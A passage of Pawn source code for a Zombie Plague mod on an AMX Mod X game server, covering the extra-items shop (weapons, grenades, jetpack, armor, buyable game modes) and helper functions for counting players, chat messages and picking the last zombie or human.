					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
				}
			}
			case 1:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You can't buy this item right now!");
					return 0;
				}
				MakeHuman(iPlayer, false, false);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
			}
			case 2:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_bNoDamage[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					g_bNoDamage[iPlayer] = true;
					set_take_damage(iPlayer, 0);
					emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/zombie_madness.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					set_glow(iPlayer, 19, 150, 255, 0, 0);
					set_task(5.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
					PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
				}
			}
			case 3:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
				}
			}
			case 4:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Nade!");
				}
			}
			case 5:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 25, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_flashbang");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Napalm Nade!");
				}
			}
			case 6:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 9, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_smokegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Frost Nade!");
				}
			}
			case 7:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 18, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_awp");
					give_ammo(iPlayer, 18, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
				}
			}
			case 8:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 20, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_m249");
					give_ammo(iPlayer, 20, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
				}
			}
			case 9:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 13, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_sg550");
					give_ammo(iPlayer, 13, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
				}
			}
			case 10:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 24, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_g3sg1");
					give_ammo(iPlayer, 24, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
				}
			}
			case 11:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (get_user_jetpack(iPlayer))
				{
					user_drop_jetpack(iPlayer, 1);
				}
				set_user_jetpack(iPlayer, 1);
				set_user_fuel(iPlayer, 250.0);
				set_user_rocket_time(iPlayer, 0.0);
				PrintToChat(iPlayer, "^4[ZP]^1 Press^3 CTR+SPACE^1 to fly!");
				PrintToChat(iPlayer, "^4[ZP]^1 Press^3 RIGHT CLICK^1 to shoot!");
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
			}
			case 12:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_bUnlimitedClip[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					g_bUnlimitedClip[iPlayer] = true;
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
				}
			}
			case 13:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 100);
					emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/armor_equip.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
				}
			}
			case 14:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 200);
					emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/armor_equip.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
				}
			}
			case 15:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				g_iJumpsNum[iPlayer]++;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iJumpsNum[iPlayer] + 1);
			}
			case 16:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				g_bTryder[iPlayer] = true;
				strip_user_weapons(iPlayer);
				set_armor(iPlayer, 777);
				set_health(iPlayer, 777);
				give_weapon(iPlayer, "weapon_knife");
				give_weapon(iPlayer, "weapon_deagle");
				give_weapon(iPlayer, "weapon_xm1014");
				give_weapon(iPlayer, "weapon_g3sg1");
				give_weapon(iPlayer, "weapon_ak47");
				give_weapon(iPlayer, "weapon_m4a1");
				give_weapon(iPlayer, "weapon_hegrenade");
				give_weapon(iPlayer, "weapon_flashbang");
				give_weapon(iPlayer, "weapon_smokegrenade");
				give_ammo(iPlayer, 26, 9999);
				give_ammo(iPlayer, 5, 9999);
				give_ammo(iPlayer, 24, 9999);
				give_ammo(iPlayer, 28, 9999);
				give_ammo(iPlayer, 22, 9999);
				g_bUnlimitedClip[iPlayer] = true;
				set_glow(iPlayer, 19, 13, 250, 10, 175);
				emit_sound( iPlayer, CHAN_AUTO, "zombie_plague/armor_equip.wav", 1.0, ATTN_NORM, 0, PITCH_NORM )
				ExecuteHamB(Ham_Item_PreFrame, iPlayer);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
				PrintToChat(0, "^4[ZP]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
			}
			case 17:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				static Float:fGameTime;
				fGameTime = get_gametime();				
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSurvivors)
				{
					PrintToChat(iPlayer, "^4[ZP]^1 There already was a survivor this map!");
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
					}
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^4[ZP]^3 Survivor ^1it's unavailable between^4 22:00^1 and^4 10:00");
						return 1;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSurvivors += 1;
						remove_task(550, 0);
						StartSurvivorMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor !!!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 18:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				static Float:fGameTime;
				fGameTime = get_gametime();					
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSnipers)
				{
					PrintToChat(iPlayer, "^4[ZP]^1 There already was a sniper this map!");
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
					}
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^4[ZP]^3 Sniper ^1it's unavailable between^4 22:00^1 and^4 10:00");
						return 1;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSnipers += 1;
						remove_task(550, 0);
						StartSniperMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper !!!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 19:
			{
				static Float:fGameTime;
				fGameTime = get_gametime();						
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550, 0);
						StartNemesisMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis !!!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 20:
			{
				static Float:fGameTime;
				fGameTime = get_gametime();						
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550, 0);
						StartAssassinMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Assassin !!!", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 21:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				g_iBlinks[iPlayer] += 5;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
			}
			default:
			{
			}
		}
	}
	return 0;
}

GetZombies()
{
	static iZombies;
	static i;
	iZombies = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bZombie[i] && g_bAlive[i])
		{
			iZombies += 1;
		}
		i += 1;
	}
	return iZombies;
}

GetHumans()
{
	static iHumans;
	static i;
	iHumans = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bZombie[i] && g_bAlive[i])
		{
			iHumans += 1;
		}
		i += 1;
	}
	return iHumans;
}

MessageLog(iReceiver, const cMessage [], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	log_amx("^"%s^"", cBuffer);
	return 0;
}

PrintToChat(iReceiver, const cMessage [], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	return 0;
}

bool:GetAccess(iPlayer, iLevel, iNum)
{
	static bool:bDone;
	bDone = true;
	if (iLevel & get_user_flags(iPlayer))
	{
		if (iNum > read_argc())
		{
			bDone = false;
			console_print(iPlayer, "Wrong ussage. The command needs %d arguments", iNum + -1);
		}
	}
	else
	{
		bDone = false;
		console_print(iPlayer, "You have no access to that command");
	}
	return bDone;
}

GetTarget(iPlayer, cTarget[], iFlags)
{
	static iResult;
	static iTargets;
	static iTarget;
	iTargets = 0;
	iTarget = 1;
	while (g_iMaxClients + 1 > iTarget)
	{
		if (g_bConnected[iTarget] && containi(g_cName[iTarget], cTarget) != -1)
		{
			if (!(iFlags & 2 && !is_user_alive(iTarget)))
			{
				if (!(iFlags & 4 && get_user_flags(iTarget) & 1 && iTarget != iPlayer))
				{
					iResult = iTarget;
					iTargets += 1;
				}
				iTarget += 1;
			}
			iTarget += 1;
		}
		iTarget += 1;
	}
	if (iTargets != 1)
	{
		static iMatch;
		if (cTarget[0] == 35 && (iMatch = GetUserIdMatch(cTarget)))
		{
			return iMatch;
		}
		return 0;
	}
	return iResult;
}

GetUserIdMatch(cTarget[])
{
	new i;
	new iTarget;
	new cNumber[32];
	copy(cNumber, 32, cTarget[1]);
	iTarget = str_to_num(cNumber);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_userid(i) == iTarget)
		{
			return i;
		}
		i++;
	}
	return 0;
}

Func_Explosion(iEntity)
{
	static iVariable;
	iVariable = 1;
	while (iVariable < 5)
	{
		send_explosion(iEntity);
		iVariable += 1;
	}
	iVariable = 1;
	while (iVariable < 5)
	{
		send_beam_cylinder(iEntity, 121, 121, 121, random_num(100, 250));
		iVariable += 1;
	}
	return 0;
}

xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
{
	fOut[0] = floatmul(fVec[0], fScalar);
	fOut[1] = floatmul(fVec[1], fScalar);
	fOut[2] = floatmul(fVec[2], fScalar);
	return 0;
}

xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
{
	fOut[0] = floatadd(fFirst[0], fSecond[0]);
	fOut[1] = floatadd(fFirst[1], fSecond[1]);
	fOut[2] = floatadd(fFirst[2], fSecond[2]);
	return 0;
}

CheckLastPlayer(iPlayer)
{
	if (g_bRoundEnd || task_exists(550, 0))
	{
		return 0;
	}
	static i;
	static iPlayersNum;
	iPlayersNum = GetAliveCount();
	if (iPlayersNum < 2)
	{
		return 0;
	}
	if (g_bZombie[iPlayer] && GetZombies() == 1)
	{
		if (GetHumans() == 1)
		{
			return 0;
		}
		do {
		} while (iPlayer == (i = GetRandomAlive()));
		PrintToChat(0, "^4[ZP]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
		switch (g_iPlayerType[iPlayer])
		{
			case 0:
			{
				MakeZombie(0, i, false, false, false);
			}
			case 1:
			{
				MakeZombie(0, i, false, true, false);
				set_health(i, get_health(iPlayer));
			}
			case 2:
			{
				MakeZombie(0, i, false, false, true);
				set_health(i, get_health(iPlayer));
			}
			default:
			{
			}
		}
	}
	else
	{
		if (!g_bZombie[iPlayer] && GetHumans() == 1)
		{
			if (GetZombies() == 1)
			{
				return 0;
			}
			do {
			} while (iPlayer == (i = GetRandomAlive()));
			PrintToChat(0, "^4[ZP]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
			switch (g_iPlayerType[iPlayer])
			{
				case 0:
				{
					MakeHuman(i, false, false);
				}
				case 4:
				{
					MakeHuman(i, true, false);
					set_health(i, get_health(iPlayer));
				}
				case 8:
				{
					MakeHuman(i, false, true);
					set_health(i, get_health(iPlayer));
				}
				default:
				{
				}
			}
		}
	}
	return 0;
}

GetAliveCount()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetRandomAlive()
{
	static j;
	static i;
	static iPlayers[32];
	j = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iPlayers[j] = i;
			j += 1;
		}
		i += 1;
	}
